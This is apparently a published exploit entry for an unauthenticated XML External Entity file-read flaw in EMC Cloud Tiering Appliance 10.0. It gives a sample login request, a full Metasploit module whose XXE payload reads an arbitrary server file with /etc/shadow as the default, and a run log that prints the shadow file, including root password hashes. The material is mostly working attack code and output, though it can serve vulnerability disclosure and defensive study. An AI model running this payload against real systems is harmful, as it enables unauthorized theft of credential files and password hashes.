EMC Cloud Tiering Appliance 10.0 - XML External Entity Arbitrary File Read (Metasploit)

EMC Cloud Tiering Appliance v10.0 Unauthed XXE

The following authentication request is susceptible to an XXE attack:

POST /api/login HTTP/1.1
Host: 172.31.16.99
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=12818F1AC5C744CF444B2683ABF6E8AC
Connection: keep-alive
Referer: https://172.31.16.99/UxFramework/UxFlashApplication.swf
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<Request>
<Username>root</Username>
<Password>114,97,105,110</Password>
</Request>


--------------------------------------------

The following metasploit module will exploit this to read an arbitrary file from the file system:

# This module requires Metasploit: http//metasploit.com/download
##
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'EMC CTA Unauthenticated XXE Arbitrary File Read',
'Description' => %q{
EMC CTA v10.0 is susceptible to an unauthenticated XXE attack
that allows an attacker to read arbitrary files from the file system
with the permissions of the root user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <[email protected]>', #metasploit module
],
'References' =>
[
],
'DisclosureDate' => 'Mar 31 2014'
))

register_options(
[
OptString.new('TARGETURI', [ true, "Base directory path", '/']),
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
], self.class)
end

def run
pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}" >]>
<Request>
<Username>root</Username>
<Password>&xxe;</Password>
</Request>
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'login'),
'method' => 'POST',
'data' => pay
})

file = /For input string: "(.*)"/m.match(res.body)
file = file[1]

path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH'])

print_good("File saved to: " + path)
end
end

----------------------------------------------------------------

Quick run:

msf auxiliary(emc_cta_xxe) > show options

Module options (auxiliary/gather/emc_cta_xxe):

Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH /etc/shadow yes The filepath to read on the server
Proxies http:127.0.0.1:8080 no Use a proxy chain
RHOST 172.31.16.99 yes The target address
RPORT 443 yes The target port
TARGETURI / yes Base directory path
VHOST no HTTP server virtual host

msf auxiliary(emc_cta_xxe) > run

[+] File saved to: /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt
[*] Auxiliary module execution completed
msf auxiliary(emc_cta_xxe) > cat /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt
[*] exec: cat /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt

root:u4sA.C2vNqNF.:15913::::::
bin:*:15913:0:99999:0:0::
daemon:*:15913:0:99999:0:0::
lp:*:15913:0:99999:0:0::
mail:*:15913:0:99999:0:0::
news:*:15913:0:99999:0:0::
uucp:*:15913:0:99999:0:0::
man:*:15913:0:99999:0:0::
wwwrun:*:15913:0:99999:0:0::
ftp:*:15913:0:99999:0:0::
nobody:*:15913:0:99999:0:0::
messagebus:*:15913:0:99999:0:0::
polkituser:*:15913:0:99999:0:0::
haldaemon:*:15913:0:99999:0:0::
sshd:*:15913:0:99999:0:0::
uuidd:*:15913:0:99999:0:0::
postgres:*:15913:0:99999:0:0::
ntp:*:15913:0:99999:0:0::
suse-ncc:*:15913:0:99999:0:0::
super:u4sA.C2vNqNF.:15913:0:99999:0:0::
msf auxiliary(emc_cta_xxe) >